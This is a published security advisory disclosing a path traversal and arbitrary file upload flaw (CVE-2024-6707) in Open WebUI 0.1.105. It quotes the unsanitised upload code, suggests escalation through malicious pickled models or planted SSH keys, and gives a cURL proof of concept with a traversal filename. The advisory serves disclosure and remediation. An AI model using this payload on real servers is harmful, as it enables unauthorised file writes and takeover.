Open WebUI 0.1.105 File Upload / Path Traversal

KL-001-2024-006: Open WebUI Arbitrary File Upload + Path Traversal

Title: Open WebUI Arbitrary File Upload + Path Traversal
Advisory ID: KL-001-2024-006
Publication Date: 2024.08.D06
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-006.txt

1. Vulnerability Details

   Affected Vendor: Open WebUI
   Affected Product: Open WebUI
   Affected Version: 0.1.105
   Platform: Debian 12
   CWE Classification: CWE-22: Improper Limitation of a Pathname to a
   Restricted Directory (‘Path Traversal’),
   CWE-434: Unrestricted Upload of File with Dangerous
   Type
   CVE ID: CVE-2024-6707

2. Vulnerability Description

   Attacker controlled files can be uploaded to arbitrary
   locations on the web server’s filesystem by abusing a
   path traversal vulnerability.

3. Technical Description

   When attaching files to a prompt by clicking the
   plus sign (+) on the left of the message input box
   when using the Open WebUI HTTP interface, the file
   is uploaded to a static upload directory.

   The name of the file is derived from the original
   HTTP upload request and is not validated or sanitized.
   This allows for users to upload files with names
   containing dot-segments in the file path and traverse
   out of the intended uploads directory. Effectively, users
   can upload files anywhere on the filesystem the
   user running the web server has permission.

   This can be visualized by examining the python code
   for the “/rag/api/v1/doc” API route:

   @app.post("/doc")  
   def store_doc(  
       collection_name: Optional[str] = Form(None),  
       file: UploadFile = File(...),  
       user=Depends(get_current_user),  
   ):  
       # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"
   
       print(file.content_type)  
       try:  
           filename = file.filename  
           file_path = f"{UPLOAD_DIR}/{filename}"  
           contents = file.file.read()  
           with open(file_path, "wb") as f:  
               f.write(contents)  
               f.close()
   

   The “file” variable is a representation of the multipart
   form data contained within the HTTP POST request. The
   “filename” variable is derived from the uploaded file name
   and is not validated before writing the file contents
   to disk.

   This can be used to upload malicious models. These models
   are often distributed as pickled python objects and can
   be leveraged to execute arbitrary python bytecode once
   deserialized. Alternatively, an attacker can leverage existing
   services, such as SSH, to upload an attacker controlled
   “authorized_keys” file to remotely connect to the machine.

4. Mitigation and Remediation Recommendation

   This issue was remediated in Open WebUI release v0.1.117 on 2024.04.03.

5. Credit

   This vulnerability was discovered by Jaggar Henry and Sean
   Segreti of KoreLogic, Inc.

6. Disclosure Timeline

   2024.03.05 - KoreLogic requests secure communications channel and point
   of contact from OpenWebUI.com via email.
   2024.03.12 - KoreLogic submits vulnerability details and suggested patch
   to maintainer via Github Security ‘Report a vulnerability’
   web form.
   2024.04.01 - KoreLogic opens Discussion #1385 via GitHub to request an
   update from the maintainer.
   2024.04.01 - Maintainer opens a private fork and merges KoreLogic’s patch.
   2024.04.03 - Maintainer releases v0.1.117.
   2024.08.06 - KoreLogic public disclosure.

7. Proof of Concept

   Execute the following cURL command:

   TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\  
   curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt"   
   

“$TARGET_URI/rag/api/v1/doc”

Verify the file "pwned.txt" exists in the /tmp/ directory on  
the machine hosting the web server:

   ollama@webserver:~$ cat /tmp/pwned.txt  
   korelogic  
   ollama@webserver:~$

The contents of this advisory are copyright© 2024
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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